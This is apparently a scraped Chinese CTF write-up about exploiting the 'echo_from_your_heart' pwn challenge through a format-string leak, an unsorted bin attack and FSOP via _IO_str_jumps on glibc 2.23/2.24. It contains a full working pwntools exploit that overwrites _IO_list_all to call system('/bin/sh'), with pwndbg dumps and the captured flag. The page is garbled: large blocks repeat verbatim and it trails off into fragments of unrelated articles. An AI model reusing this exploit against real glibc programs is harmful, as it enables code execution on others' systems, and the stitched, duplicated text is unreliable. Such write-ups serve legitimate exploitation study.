0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后:
拆链之后:
pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 